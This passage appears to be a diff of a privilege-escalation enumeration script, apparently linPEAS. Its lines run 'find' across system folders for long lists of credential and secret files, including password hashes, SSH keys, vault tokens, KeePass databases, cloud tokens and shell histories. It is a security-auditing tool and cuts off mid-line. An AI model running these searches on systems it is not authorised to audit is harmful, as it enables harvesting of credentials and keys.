+ FIND_LIB32=`eval_bckgrd "find ${ROOT_FOLDER}lib32 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_LIB64=`eval_bckgrd "find ${ROOT_FOLDER}lib64 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_RUN=`eval_bckgrd "find ${ROOT_FOLDER}run -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name 